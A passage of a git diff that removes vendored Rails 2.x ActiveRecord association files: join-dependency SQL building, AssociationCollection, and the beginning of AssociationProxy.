-          def joins_for_table_name(table_name)
-            join = join_for_table_name(table_name)
-            result = nil
-            if join && join.is_a?(JoinAssociation)
-              result = [join]
-              if join.parent && join.parent.is_a?(JoinAssociation)
-                result = joins_for_table_name(join.parent.aliased_table_name) +
-                         result
-              end
-            end
-            result
-          end
-
-          protected
-            def build(associations, parent = nil)
-              parent ||= @joins.last
-              case associations
-                when Symbol, String
-                  reflection = parent.reflections[associations.to_s.intern] or
-                  raise ConfigurationError, "Association named '#{ associations }' was not found; perhaps you misspelled it?"
-                  @reflections << reflection
-                  @joins << build_join_association(reflection, parent)
-                when Array
-                  associations.each do |association|
-                    build(association, parent)
-                  end
-                when Hash
-                  associations.keys.sort{|a,b|a.to_s<=>b.to_s}.each do |name|
-                    build(name, parent)
-                    build(associations[name])
-                  end
-                else
-                  raise ConfigurationError, associations.inspect
-              end
-            end
-
-            # overridden in InnerJoinDependency subclass
-            def build_join_association(reflection, parent)
-              JoinAssociation.new(reflection, self, parent)
-            end
-
-            def construct(parent, associations, joins, row)
-              case associations
-                when Symbol, String
-                  join = joins.detect{|j| j.reflection.name.to_s == associations.to_s && j.parent_table_name == parent.class.table_name }
-                  raise(ConfigurationError, "No such association") if join.nil?
-
-                  joins.delete(join)
-                  construct_association(parent, join, row)
-                when Array
-                  associations.each do |association|
-                    construct(parent, association, joins, row)
-                  end
-                when Hash
-                  associations.keys.sort{|a,b|a.to_s<=>b.to_s}.each do |name|
-                    join = joins.detect{|j| j.reflection.name.to_s == name.to_s && j.parent_table_name == parent.class.table_name }
-                    raise(ConfigurationError, "No such association") if join.nil?
-
-                    association = construct_association(parent, join, row)
-                    joins.delete(join)
-                    construct(association, associations[name], joins, row) if association
-                  end
-                else
-                  raise ConfigurationError, associations.inspect
-              end
-            end
-
-            def construct_association(record, join, row)
-              case join.reflection.macro
-                when :has_many, :has_and_belongs_to_many
-                  collection = record.send(join.reflection.name)
-                  collection.loaded
-
-                  return nil if record.id.to_s != join.parent.record_id(row).to_s or row[join.aliased_primary_key].nil?
-                  association = join.instantiate(row)
-                  collection.target.push(association)
-                  collection.__send__(:set_inverse_instance, association, record)
-                when :has_one
-                  return if record.id.to_s != join.parent.record_id(row).to_s
-                  return if record.instance_variable_defined?("@#{join.reflection.name}")
-                  association = join.instantiate(row) unless row[join.aliased_primary_key].nil?
-                  set_target_and_inverse(join, association, record)
-                when :belongs_to
-                  return if record.id.to_s != join.parent.record_id(row).to_s or row[join.aliased_primary_key].nil?
-                  association = join.instantiate(row)
-                  set_target_and_inverse(join, association, record)
-                else
-                  raise ConfigurationError, "unknown macro: #{join.reflection.macro}"
-              end
-              return association
-            end
-
-            def set_target_and_inverse(join, association, record)
-              association_proxy = record.send("set_#{join.reflection.name}_target", association)
-              association_proxy.__send__(:set_inverse_instance, association, record)
-            end
-
-          class JoinBase # :nodoc:
-            attr_reader :active_record, :table_joins
-            delegate    :table_name, :column_names, :primary_key, :reflections, :sanitize_sql, :to => :active_record
-
-            def initialize(active_record, joins = nil)
-              @active_record = active_record
-              @cached_record = {}
-              @table_joins   = joins
-            end
-
-            def aliased_prefix
-              "t0"
-            end
-
-            def aliased_primary_key
-              "#{aliased_prefix}_r0"
-            end
-
-            def aliased_table_name
-              active_record.table_name
-            end
-
-            def column_names_with_alias
-              unless defined?(@column_names_with_alias)
-                @column_names_with_alias = []
-
-                ([primary_key] + (column_names - [primary_key])).each_with_index do |column_name, i|
-                  @column_names_with_alias << [column_name, "#{aliased_prefix}_r#{i}"]
-                end
-              end
-
-              @column_names_with_alias
-            end
-
-            def extract_record(row)
-              column_names_with_alias.inject({}){|record, (cn, an)| record[cn] = row[an]; record}
-            end
-
-            def record_id(row)
-              row[aliased_primary_key]
-            end
-
-            def instantiate(row)
-              @cached_record[record_id(row)] ||= active_record.send(:instantiate, extract_record(row))
-            end
-          end
-
-          class JoinAssociation < JoinBase # :nodoc:
-            attr_reader :reflection, :parent, :aliased_table_name, :aliased_prefix, :aliased_join_table_name, :parent_table_name
-            delegate    :options, :klass, :through_reflection, :source_reflection, :to => :reflection
-
-            def initialize(reflection, join_dependency, parent = nil)
-              reflection.check_validity!
-              if reflection.options[:polymorphic]
-                raise EagerLoadPolymorphicError.new(reflection)
-              end
-
-              super(reflection.klass)
-              @join_dependency    = join_dependency
-              @parent             = parent
-              @reflection         = reflection
-              @aliased_prefix     = "t#{ join_dependency.joins.size }"
-              @parent_table_name  = parent.active_record.table_name
-              @aliased_table_name = aliased_table_name_for(table_name)
-
-              if reflection.macro == :has_and_belongs_to_many
-                @aliased_join_table_name = aliased_table_name_for(reflection.options[:join_table], "_join")
-              end
-
-              if [:has_many, :has_one].include?(reflection.macro) && reflection.options[:through]
-                @aliased_join_table_name = aliased_table_name_for(reflection.through_reflection.klass.table_name, "_join")
-              end
-            end
-
-            def association_join
-              connection = reflection.active_record.connection
-              join = case reflection.macro
-                when :has_and_belongs_to_many
-                  " #{join_type} %s ON %s.%s = %s.%s " % [
-                     table_alias_for(options[:join_table], aliased_join_table_name),
-                     connection.quote_table_name(aliased_join_table_name),
-                     options[:foreign_key] || reflection.active_record.to_s.foreign_key,
-                     connection.quote_table_name(parent.aliased_table_name),
-                     reflection.active_record.primary_key] +
-                  " #{join_type} %s ON %s.%s = %s.%s " % [
-                     table_name_and_alias,
-                     connection.quote_table_name(aliased_table_name),
-                     klass.primary_key,
-                     connection.quote_table_name(aliased_join_table_name),
-                     options[:association_foreign_key] || klass.to_s.foreign_key
-                     ]
-                when :has_many, :has_one
-                  case
-                    when reflection.options[:through]
-                      through_conditions = through_reflection.options[:conditions] ? "AND #{interpolate_sql(sanitize_sql(through_reflection.options[:conditions]))}" : ''
-
-                      jt_foreign_key = jt_as_extra = jt_source_extra = jt_sti_extra = nil
-                      first_key = second_key = as_extra = nil
-
-                      if through_reflection.options[:as] # has_many :through against a polymorphic join
-                        jt_foreign_key = through_reflection.options[:as].to_s + '_id'
-                        jt_as_extra = " AND %s.%s = %s" % [
-                          connection.quote_table_name(aliased_join_table_name),
-                          connection.quote_column_name(through_reflection.options[:as].to_s + '_type'),
-                          klass.quote_value(parent.active_record.base_class.name)
-                        ]
-                      else
-                        jt_foreign_key = through_reflection.primary_key_name
-                      end
-
-                      case source_reflection.macro
-                      when :has_many
-                        if source_reflection.options[:as]
-                          first_key   = "#{source_reflection.options[:as]}_id"
-                          second_key  = options[:foreign_key] || primary_key
-                          as_extra    = " AND %s.%s = %s" % [
-                            connection.quote_table_name(aliased_table_name),
-                            connection.quote_column_name("#{source_reflection.options[:as]}_type"),
-                            klass.quote_value(source_reflection.active_record.base_class.name)
-                          ]
-                        else
-                          first_key   = through_reflection.klass.base_class.to_s.foreign_key
-                          second_key  = options[:foreign_key] || primary_key
-                        end
-
-                        unless through_reflection.klass.descends_from_active_record?
-                          jt_sti_extra = " AND %s.%s = %s" % [
-                            connection.quote_table_name(aliased_join_table_name),
-                            connection.quote_column_name(through_reflection.active_record.inheritance_column),
-                            through_reflection.klass.quote_value(through_reflection.klass.sti_name)]
-                        end
-                      when :belongs_to
-                        first_key = primary_key
-                        if reflection.options[:source_type]
-                          second_key = source_reflection.association_foreign_key
-                          jt_source_extra = " AND %s.%s = %s" % [
-                            connection.quote_table_name(aliased_join_table_name),
-                            connection.quote_column_name(reflection.source_reflection.options[:foreign_type]),
-                            klass.quote_value(reflection.options[:source_type])
-                          ]
-                        else
-                          second_key = source_reflection.primary_key_name
-                        end
-                      end
-
-                      " #{join_type} %s ON (%s.%s = %s.%s%s%s%s) " % [
-                        table_alias_for(through_reflection.klass.table_name, aliased_join_table_name),
-                        connection.quote_table_name(parent.aliased_table_name),
-                        connection.quote_column_name(parent.primary_key),
-                        connection.quote_table_name(aliased_join_table_name),
-                        connection.quote_column_name(jt_foreign_key),
-                        jt_as_extra, jt_source_extra, jt_sti_extra
-                      ] +
-                      " #{join_type} %s ON (%s.%s = %s.%s%s) " % [
-                        table_name_and_alias,
-                        connection.quote_table_name(aliased_table_name),
-                        connection.quote_column_name(first_key),
-                        connection.quote_table_name(aliased_join_table_name),
-                        connection.quote_column_name(second_key),
-                        as_extra
-                      ]
-
-                    when reflection.options[:as] && [:has_many, :has_one].include?(reflection.macro)
-                      " #{join_type} %s ON %s.%s = %s.%s AND %s.%s = %s" % [
-                        table_name_and_alias,
-                        connection.quote_table_name(aliased_table_name),
-                        "#{reflection.options[:as]}_id",
-                        connection.quote_table_name(parent.aliased_table_name),
-                        parent.primary_key,
-                        connection.quote_table_name(aliased_table_name),
-                        "#{reflection.options[:as]}_type",
-                        klass.quote_value(parent.active_record.base_class.name)
-                      ]
-                    else
-                      foreign_key = options[:foreign_key] || reflection.active_record.name.foreign_key
-                      " #{join_type} %s ON %s.%s = %s.%s " % [
-                        table_name_and_alias,
-                        aliased_table_name,
-                        foreign_key,
-                        parent.aliased_table_name,
-                        reflection.options[:primary_key] || parent.primary_key
-                      ]
-                  end
-                when :belongs_to
-                  " #{join_type} %s ON %s.%s = %s.%s " % [
-                     table_name_and_alias,
-                     connection.quote_table_name(aliased_table_name),
-                     reflection.options[:primary_key] || reflection.klass.primary_key,
-                     connection.quote_table_name(parent.aliased_table_name),
-                     options[:foreign_key] || reflection.primary_key_name
-                    ]
-                else
-                  ""
-              end || ''
-              join << %(AND %s) % [
-                klass.send(:type_condition, aliased_table_name)] unless klass.descends_from_active_record?
-
-              [through_reflection, reflection].each do |ref|
-                join << "AND #{interpolate_sql(sanitize_sql(ref.options[:conditions], aliased_table_name))} " if ref && ref.options[:conditions]
-              end
-
-              join
-            end
-
-            protected
-
-              def aliased_table_name_for(name, suffix = nil)
-                if !parent.table_joins.blank? && parent.table_joins.to_s.downcase =~ %r{join(\s+\w+)?\s+#{active_record.connection.quote_table_name name.downcase}\son}
-                  @join_dependency.table_aliases[name] += 1
-                end
-
-                unless @join_dependency.table_aliases[name].zero?
-                  # if the table name has been used, then use an alias
-                  name = active_record.connection.table_alias_for "#{pluralize(reflection.name)}_#{parent_table_name}#{suffix}"
-                  table_index = @join_dependency.table_aliases[name]
-                  @join_dependency.table_aliases[name] += 1
-                  name = name[0..active_record.connection.table_alias_length-3] + "_#{table_index+1}" if table_index > 0
-                else
-                  @join_dependency.table_aliases[name] += 1
-                end
-
-                name
-              end
-
-              def pluralize(table_name)
-                ActiveRecord::Base.pluralize_table_names ? table_name.to_s.pluralize : table_name
-              end
-
-              def table_alias_for(table_name, table_alias)
-                 "#{reflection.active_record.connection.quote_table_name(table_name)} #{table_alias if table_name != table_alias}".strip
-              end
-
-              def table_name_and_alias
-                table_alias_for table_name, @aliased_table_name
-              end
-
-              def interpolate_sql(sql)
-                instance_eval("%@#{sql.gsub('@', '\@')}@")
-              end
-
-            private
-              def join_type
-                "LEFT OUTER JOIN"
-              end
-          end
-        end
-
-        class InnerJoinDependency < JoinDependency # :nodoc:
-          protected
-            def build_join_association(reflection, parent)
-              InnerJoinAssociation.new(reflection, self, parent)
-            end
-
-          class InnerJoinAssociation < JoinAssociation
-            private
-              def join_type
-                "INNER JOIN"
-              end
-          end
-        end
-
-    end
-  end
-end
diff --git a/vendor/rails/activerecord/lib/active_record/associations/association_collection.rb b/vendor/rails/activerecord/lib/active_record/associations/association_collection.rb
deleted file mode 100644
index c04110a9..00000000
--- a/vendor/rails/activerecord/lib/active_record/associations/association_collection.rb
+++ /dev/null
@@ -1,533 +0,0 @@
-require 'set'
-
-module ActiveRecord
-  module Associations
-    # AssociationCollection is an abstract class that provides common stuff to
-    # ease the implementation of association proxies that represent
-    # collections. See the class hierarchy in AssociationProxy.
-    #
-    # You need to be careful with assumptions regarding the target: The proxy
-    # does not fetch records from the database until it needs them, but new
-    # ones created with +build+ are added to the target. So, the target may be
-    # non-empty and still lack children waiting to be read from the database.
-    # If you look directly to the database you cannot assume that's the entire
-    # collection because new records may have beed added to the target, etc.
-    #
-    # If you need to work on all current children, new and existing records,
-    # +load_target+ and the +loaded+ flag are your friends.
-    class AssociationCollection < AssociationProxy #:nodoc:
-      def initialize(owner, reflection)
-        super
-        construct_sql
-      end
-      
-      def find(*args)
-        options = args.extract_options!
-
-        # If using a custom finder_sql, scan the entire collection.
-        if @reflection.options[:finder_sql]
-          expects_array = args.first.kind_of?(Array)
-          ids           = args.flatten.compact.uniq.map { |arg| arg.to_i }
-
-          if ids.size == 1
-            id = ids.first
-            record = load_target.detect { |r| id == r.id }
-            expects_array ? [ record ] : record
-          else
-            load_target.select { |r| ids.include?(r.id) }
-          end
-        else
-          conditions = "#{@finder_sql}"
-          if sanitized_conditions = sanitize_sql(options[:conditions])
-            conditions << " AND (#{sanitized_conditions})"
-          end
-          
-          options[:conditions] = conditions
-
-          if options[:order] && @reflection.options[:order]
-            options[:order] = "#{options[:order]}, #{@reflection.options[:order]}"
-          elsif @reflection.options[:order]
-            options[:order] = @reflection.options[:order]
-          end
-          
-          # Build options specific to association
-          construct_find_options!(options)
-          
-          merge_options_from_reflection!(options)
-          
-          # Pass through args exactly as we received them.
-          args << options
-          @reflection.klass.find(*args)
-        end
-      end
-
-      # Fetches the first one using SQL if possible.
-      def first(*args)
-        if fetch_first_or_last_using_find?(args)
-          find(:first, *args)
-        else
-          load_target unless loaded?
-          @target.first(*args)
-        end
-      end
-
-      # Fetches the last one using SQL if possible.
-      def last(*args)
-        if fetch_first_or_last_using_find?(args)
-          find(:last, *args)
-        else
-          load_target unless loaded?
-          @target.last(*args)
-        end
-      end
-
-      def to_ary
-        load_target
-        if @target.is_a?(Array)
-          @target.to_ary
-        else
-          Array(@target)
-        end
-      end
-
-      def reset
-        reset_target!
-        @loaded = false
-      end
-
-      def build(attributes = {}, &block)
-        if attributes.is_a?(Array)
-          attributes.collect { |attr| build(attr, &block) }
-        else
-          build_record(attributes) do |record|
-            block.call(record) if block_given?
-            set_belongs_to_association_for(record)
-          end
-        end
-      end
-
-      # Add +records+ to this association.  Returns +self+ so method calls may be chained.  
-      # Since << flattens its argument list and inserts each record, +push+ and +concat+ behave identically.
-      def <<(*records)
-        result = true
-        load_target if @owner.new_record?
-
-        transaction do
-          flatten_deeper(records).each do |record|
-            raise_on_type_mismatch(record)
-            add_record_to_target_with_callbacks(record) do |r|
-              result &&= insert_record(record) unless @owner.new_record?
-            end
-          end
-        end
-
-        result && self
-      end
-
-      alias_method :push, :<<
-      alias_method :concat, :<<
-
-      # Starts a transaction in the association class's database connection.
-      #
-      #   class Author < ActiveRecord::Base
-      #     has_many :books
-      #   end
-      #
-      #   Author.find(:first).books.transaction do
-      #     # same effect as calling Book.transaction
-      #   end
-      def transaction(*args)
-        @reflection.klass.transaction(*args) do
-          yield
-        end
-      end
-
-      # Remove all records from this association
-      #
-      # See delete for more info.
-      def delete_all
-        load_target
-        delete(@target)
-        reset_target!
-      end
-      
-      # Calculate sum using SQL, not Enumerable
-      def sum(*args)
-        if block_given?
-          calculate(:sum, *args) { |*block_args| yield(*block_args) }
-        else
-          calculate(:sum, *args)
-        end
-      end
-
-      # Count all records using SQL. If the +:counter_sql+ option is set for the association, it will
-      # be used for the query. If no +:counter_sql+ was supplied, but +:finder_sql+ was set, the
-      # descendant's +construct_sql+ method will have set :counter_sql automatically.
-      # Otherwise, construct options and pass them with scope to the target class's +count+.
-      def count(*args)
-        if @reflection.options[:counter_sql]
-          @reflection.klass.count_by_sql(@counter_sql)
-        else
-          column_name, options = @reflection.klass.send(:construct_count_options_from_args, *args)
-          if @reflection.options[:uniq]
-            # This is needed because 'SELECT count(DISTINCT *)..' is not valid SQL.
-            column_name = "#{@reflection.quoted_table_name}.#{@reflection.klass.primary_key}" if column_name == :all
-            options.merge!(:distinct => true)
-          end
-
-          value = @reflection.klass.send(:with_scope, construct_scope) { @reflection.klass.count(column_name, options) }
-
-          limit  = @reflection.options[:limit]
-          offset = @reflection.options[:offset]
-
-          if limit || offset
-            [ [value - offset.to_i, 0].max, limit.to_i ].min
-          else
-            value
-          end
-        end
-      end
-
-      # Removes +records+ from this association calling +before_remove+ and
-      # +after_remove+ callbacks.
-      #
-      # This method is abstract in the sense that +delete_records+ has to be
-      # provided by descendants. Note this method does not imply the records
-      # are actually removed from the database, that depends precisely on
-      # +delete_records+. They are in any case removed from the collection.
-      def delete(*records)
-        remove_records(records) do |records, old_records|
-          delete_records(old_records) if old_records.any?
-          records.each { |record| @target.delete(record) }
-        end
-      end
-
-      # Destroy +records+ and remove them from this association calling
-      # +before_remove+ and +after_remove+ callbacks.
-      #
-      # Note that this method will _always_ remove records from the database
-      # ignoring the +:dependent+ option.
-      def destroy(*records)
-        records = find(records) if records.any? {|record| record.kind_of?(Fixnum) || record.kind_of?(String)}
-        remove_records(records) do |records, old_records|
-          old_records.each { |record| record.destroy }
-        end
-
-        load_target
-      end
-
-      # Removes all records from this association.  Returns +self+ so method calls may be chained.
-      def clear
-        return self if length.zero? # forces load_target if it hasn't happened already
-
-        if @reflection.options[:dependent] && @reflection.options[:dependent] == :destroy
-          destroy_all
-        else          
-          delete_all
-        end
-
-        self
-      end
-
-      # Destory all the records from this association.
-      #
-      # See destroy for more info.
-      def destroy_all
-        load_target
-        destroy(@target).tap do
-          reset_target!
-        end
-      end
-
-      def create(attrs = {})
-        if attrs.is_a?(Array)
-          attrs.collect { |attr| create(attr) }
-        else
-          create_record(attrs) do |record|
-            yield(record) if block_given?
-            record.save
-          end
-        end
-      end
-
-      def create!(attrs = {})
-        create_record(attrs) do |record|
-          yield(record) if block_given?
-          record.save!
-        end
-      end
-
-      # Returns the size of the collection by executing a SELECT COUNT(*)
-      # query if the collection hasn't been loaded, and calling
-      # <tt>collection.size</tt> if it has.
-      #
-      # If the collection has been already loaded +size+ and +length+ are
-      # equivalent. If not and you are going to need the records anyway
-      # +length+ will take one less query. Otherwise +size+ is more efficient.
-      #
-      # This method is abstract in the sense that it relies on
-      # +count_records+, which is a method descendants have to provide.
-      def size
-        if @owner.new_record? || (loaded? && !@reflection.options[:uniq])
-          @target.size
-        elsif !loaded? && @reflection.options[:group]
-          load_target.size
-        elsif !loaded? && !@reflection.options[:uniq] && @target.is_a?(Array)
-          unsaved_records = @target.select { |r| r.new_record? }
-          unsaved_records.size + count_records
-        else
-          count_records
-        end
-      end
-
-      # Returns the size of the collection calling +size+ on the target.
-      #
-      # If the collection has been already loaded +length+ and +size+ are
-      # equivalent. If not and you are going to need the records anyway this
-      # method will take one less query. Otherwise +size+ is more efficient.
-      def length
-        load_target.size
-      end
-
-      # Equivalent to <tt>collection.size.zero?</tt>. If the collection has
-      # not been already loaded and you are going to fetch the records anyway
-      # it is better to check <tt>collection.length.zero?</tt>.
-      def empty?
-        size.zero?
-      end
-
-      def any?
-        if block_given?
-          method_missing(:any?) { |*block_args| yield(*block_args) }
-        else
-          !empty?
-        end
-      end
-
-      def uniq(collection = self)
-        seen = Set.new
-        collection.inject([]) do |kept, record|
-          unless seen.include?(record.id)
-            kept << record
-            seen << record.id
-          end
-          kept
-        end
-      end
-
-      # Replace this collection with +other_array+
-      # This will perform a diff and delete/add only records that have changed.
-      def replace(other_array)
-        other_array.each { |val| raise_on_type_mismatch(val) }
-
-        load_target
-        other   = other_array.size < 100 ? other_array : other_array.to_set
-        current = @target.size < 100 ? @target : @target.to_set
-
-        transaction do
-          delete(@target.select { |v| !other.include?(v) })
-          concat(other_array.select { |v| !current.include?(v) })
-        end
-      end
-
-      def include?(record)
-        return false unless record.is_a?(@reflection.klass)
-        return include_in_memory?(record) if record.new_record?
-        load_target if @reflection.options[:finder_sql] && !loaded?
-        return @target.include?(record) if loaded?
-        exists?(record)
-      end
-
-      def proxy_respond_to?(method, include_private = false)
-        super || @reflection.klass.respond_to?(method, include_private)
-      end
-
-      protected
-        def construct_find_options!(options)
-        end
-        
-        def load_target
-          if !@owner.new_record? || foreign_key_present
-            begin
-              if !loaded?
-                if @target.is_a?(Array) && @target.any?
-                  @target = find_target.map do |f|
-                    i = @target.index(f)
-                    t = @target.delete_at(i) if i
-                    if t && t.changed?
-                      t
-                    else
-                      f.mark_for_destruction if t && t.marked_for_destruction?
-                      f
-                    end
-                  end + @target.find_all {|t| t.new_record?}
-                else
-                  @target = find_target
-                end
-              end
-            rescue ActiveRecord::RecordNotFound
-              reset
-            end
-          end
-
-          loaded if target
-          target
-        end
-        
-        def method_missing(method, *args, &block)
-          case method.to_s
-          when 'find_or_create'
-            return find(:first, :conditions => args.first) || create(args.first)
-          when /^find_or_create_by_(.*)$/
-            rest = $1
-            find_args = pull_finder_args_from(DynamicFinderMatch.match(method).attribute_names, *args)
-            return  send("find_by_#{rest}", *find_args) ||
-                    method_missing("create_by_#{rest}", *args, &block)
-          when /^create_by_(.*)$/
-            return create($1.split('_and_').zip(args).inject({}) { |h,kv| k,v=kv ; h[k] = v ; h }, &block)
-          end
-
-          if @target.respond_to?(method) || (!@reflection.klass.respond_to?(method) && Class.respond_to?(method))
-            if block_given?
-              super { |*block_args| yield(*block_args) }
-            else
-              super
-            end
-          elsif @reflection.klass.scopes.include?(method)
-            @reflection.klass.scopes[method].call(self, *args)
-          else          
-            with_scope(construct_scope) do
-              if block_given?
-                @reflection.klass.send(method, *args) { |*block_args| yield(*block_args) }
-              else
-                @reflection.klass.send(method, *args)
-              end
-            end
-          end
-        end
-
-        # overloaded in derived Association classes to provide useful scoping depending on association type.
-        def construct_scope
-          {}
-        end
-
-        def reset_target!
-          @target = Array.new
-        end
-
-        def find_target
-          records =
-            if @reflection.options[:finder_sql]
-              @reflection.klass.find_by_sql(@finder_sql)
-            else
-              find(:all)
-            end
-
-          records = @reflection.options[:uniq] ? uniq(records) : records
-          records.each do |record|
-            set_inverse_instance(record, @owner)
-          end
-          records
-        end
-
-        def add_record_to_target_with_callbacks(record)
-          callback(:before_add, record)
-          yield(record) if block_given?
-          @target ||= [] unless loaded?
-          @target << record unless @reflection.options[:uniq] && @target.include?(record)
-          callback(:after_add, record)
-          set_inverse_instance(record, @owner)
-          record
-        end
-
-      private
-        # Separate the "finder" args from the "create" args given to a
-        # find_or_create_by_ call.  Returns an array with the
-        # parameter values in the same order as the keys in the
-        # "names" array.  This code was based on code in base.rb's
-        # method_missing method.
-        def pull_finder_args_from(names, *args)
-          attributes = names.collect { |name| name.intern }
-          attribute_hash = {}
-          args.each_with_index do |arg, i|
-            if arg.is_a?(Hash)
-              attribute_hash.merge! arg
-            else
-              attribute_hash[attributes[i]] = arg
-            end
-          end
-          attribute_hash = attribute_hash.with_indifferent_access
-          attributes.collect { |attr| attribute_hash[attr] }
-        end
-
-        def create_record(attrs)
-          attrs.update(@reflection.options[:conditions]) if @reflection.options[:conditions].is_a?(Hash)
-          ensure_owner_is_not_new
-          record = @reflection.klass.send(:with_scope, :create => construct_scope[:create]) do
-            @reflection.build_association(attrs)
-          end
-          if block_given?
-            add_record_to_target_with_callbacks(record) { |*block_args| yield(*block_args) }
-          else
-            add_record_to_target_with_callbacks(record)
-          end
-        end
-
-        def build_record(attrs)
-          attrs.update(@reflection.options[:conditions]) if @reflection.options[:conditions].is_a?(Hash)
-          record = @reflection.build_association(attrs)
-          if block_given?
-            add_record_to_target_with_callbacks(record) { |*block_args| yield(*block_args) }
-          else
-            add_record_to_target_with_callbacks(record)
-          end
-        end
-
-        def remove_records(*records)
-          records = flatten_deeper(records)
-          records.each { |record| raise_on_type_mismatch(record) }
-
-          transaction do
-            records.each { |record| callback(:before_remove, record) }
-            old_records = records.reject { |r| r.new_record? }
-            yield(records, old_records)
-            records.each { |record| callback(:after_remove, record) }
-          end
-        end
-
-        def callback(method, record)
-          callbacks_for(method).each do |callback|
-            ActiveSupport::Callbacks::Callback.new(method, callback, record).call(@owner, record)
-          end
-        end
-
-        def callbacks_for(callback_name)
-          full_callback_name = "#{callback_name}_for_#{@reflection.name}"
-          @owner.class.read_inheritable_attribute(full_callback_name.to_sym) || []
-        end
-
-        def ensure_owner_is_not_new
-          if @owner.new_record?
-            raise ActiveRecord::RecordNotSaved, "You cannot call create unless the parent is saved"
-          end
-        end
-
-        def fetch_first_or_last_using_find?(args)
-          args.first.kind_of?(Hash) || !(loaded? || @owner.new_record? || @reflection.options[:finder_sql] ||
-                                         @target.any? { |record| record.new_record? } || args.first.kind_of?(Integer))
-        end
-
-        def include_in_memory?(record)
-          if @reflection.is_a?(ActiveRecord::Reflection::ThroughReflection)
-            @owner.send(proxy_reflection.through_reflection.name.to_sym).each do |source|
-              source_reflection_target = source.send(proxy_reflection.source_reflection.name)
-              return true if source_reflection_target.respond_to?(:include?) ? source_reflection_target.include?(record) : source_reflection_target == record
-            end
-            false
-          else
-            @target.include?(record)
-          end
-        end
-    end
-  end
-end
diff --git a/vendor/rails/activerecord/lib/active_record/associations/association_proxy.rb b/vendor/rails/activerecord/lib/active_record/associations/association_proxy.rb
deleted file mode 100644
index f925eb23..00000000
--- a/vendor/rails/activerecord/lib/active_record/associations/association_proxy.rb
+++ /dev/null
@@ -1,288 +0,0 @@
-module ActiveRecord
-  module Associations
-    # This is the root class of all association proxies:
-    #
-    #   AssociationProxy
-    #     BelongsToAssociation
-    #       HasOneAssociation
-    #     BelongsToPolymorphicAssociation
-    #     AssociationCollection
-    #       HasAndBelongsToManyAssociation
-    #       HasManyAssociation
-    #         HasManyThroughAssociation
-    #            HasOneThroughAssociation
-    #
-    # Association proxies in Active Record are middlemen between the object that
-    # holds the association, known as the <tt>@owner</tt>, and the actual associated
-    # object, known as the <tt>@target</tt>. The kind of association any proxy is
-    # about is available in <tt>@reflection</tt>. That's an instance of the class
-    # ActiveRecord::Reflection::AssociationReflection.
-    #
-    # For example, given
-    #
-    #   class Blog < ActiveRecord::Base
-    #     has_many :posts
-    #   end
-    #
-    #   blog = Blog.find(:first)
-    #
-    # the association proxy in <tt>blog.posts</tt> has the object in +blog+ as
-    # <tt>@owner</tt>, the collection of its posts as <tt>@target</tt>, and
-    # the <tt>@reflection</tt> object represents a <tt>:has_many</tt> macro.
-    #
-    # This class has most of the basic instance methods removed, and delegates
-    # unknown methods to <tt>@target</tt> via <tt>method_missing</tt>. As a
-    # corner case, it even removes the +class+ method and that's why you get
-    #
-    #   blog.posts.class # => Array
-    #
-    # though the object behind <tt>blog.posts</tt> is not an Array, but an
-    # ActiveRecord::Associations::HasManyAssociation.
-    #
-    # The <tt>@target</tt> object is not \loaded until needed. For example,
-    #
-    #   blog.posts.count
-    #
-    # is computed directly through SQL and does not trigger by itself the
-    # instantiation of the actual post records.
-    class AssociationProxy #:nodoc:
-      alias_method :proxy_respond_to?, :respond_to?
-      alias_method :proxy_extend, :extend
-      delegate :to_param, :to => :proxy_target
-      instance_methods.each { |m| undef_method m unless m =~ /(^__|^nil\?$|^send$|proxy_|^object_id$)/ }
-
-      def initialize(owner, reflection)
-        @owner, @reflection = owner, reflection
-        reflection.check_validity!
-        Array(reflection.options[:extend]).each { |ext| proxy_extend(ext) }
-        reset
-      end
-
-      # Returns the owner of the proxy.
-      def proxy_owner
-        @owner
-      end
-
-      # Returns the reflection object that represents the association handled
-      # by the proxy.
-      def proxy_reflection
-        @reflection
-      end
-
-      # Returns the \target of the proxy, same as +target+.
-      def proxy_target
-        @target
-      end
-
-      # Does the proxy or its \target respond to +symbol+?
-      def respond_to?(*args)
-        proxy_respond_to?(*args) || (load_target && @target.respond_to?(*args))
-      end
-
-      # Forwards <tt>===</tt> explicitly to the \target because the instance method
-      # removal above doesn't catch it. Loads the \target if needed.
-      def ===(other)
-        load_target
-        other === @target
-      end
-
-      # Returns the name of the table of the related class:
-      #
-      #   post.comments.aliased_table_name # => "comments"
-      #
-      def aliased_table_name
-        @reflection.klass.table_name
-      end
-
-      # Returns the SQL string that corresponds to the <tt>:conditions</tt>
-      # option of the macro, if given, or +nil+ otherwise.
-      def conditions
-        @conditions ||= interpolate_sql(@reflection.sanitized_conditions) if @reflection.sanitized_conditions
-      end
-      alias :sql_conditions :conditions
-
-      # Resets the \loaded flag to +false+ and sets the \target to +nil+.
-      def reset
-        @loaded = false
-        @target = nil
-      end
-
-      # Reloads the \target and returns +self+ on success.
-      def reload
-        reset
-        load_target
-        self unless @target.nil?
-      end
-
-      # Has the \target been already \loaded?
-      def loaded?
-        @loaded
-      end
-
-      # Asserts the \target has been loaded setting the \loaded flag to +true+.
-      def loaded
-        @loaded = true
-      end
-
-      # Returns the target of this proxy, same as +proxy_target+.
-      def target
-        @target
-      end
-
-      # Sets the target of this proxy to <tt>\target</tt>, and the \loaded flag to +true+.
-      def target=(target)
-        @target = target
-        loaded
-      end
-
-      # Forwards the call to the target. Loads the \target if needed.
-      def inspect
-        load_target
-        @target.inspect
-      end
-
-      def send(method, *args)
-        if proxy_respond_to?(method)
-          super
-        else
-          load_target
-          @target.send(method, *args)
-        end
-      end
-
-      protected
-        # Does the association have a <tt>:dependent</tt> option?
-        def dependent?
-          @reflection.options[:dependent]
-        end
-
-        # Returns a string with the IDs of +records+ joined with a comma, quoted
-        # if needed. The result is ready to be inserted into a SQL IN clause.
-        #
-        #   quoted_record_ids(records) # => "23,56,58,67"
-        #
-        def quoted_record_ids(records)
-          records.map { |record| record.quoted_id }.join(',')
-        end
-
-        def interpolate_sql(sql, record = nil)
-          @owner.send(:interpolate_sql, sql, record)
-        end
-
-        # Forwards the call to the reflection class.
-        def sanitize_sql(sql, table_name = @reflection.klass.quoted_table_name)
-          @reflection.klass.send(:sanitize_sql, sql, table_name)
-        end
-
-        # Assigns the ID of the owner to the corresponding foreign key in +record+.
-        # If the association is polymorphic the type of the owner is also set.
-        def set_belongs_to_association_for(record)
-          if @reflection.options[:as]
-            record["#{@reflection.options[:as]}_id"]   = @owner.id unless @owner.new_record?
-            record["#{@reflection.options[:as]}_type"] = @owner.class.base_class.name.to_s
-          else
-            unless @owner.new_record?
-              primary_key = @reflection.options[:primary_key] || :id
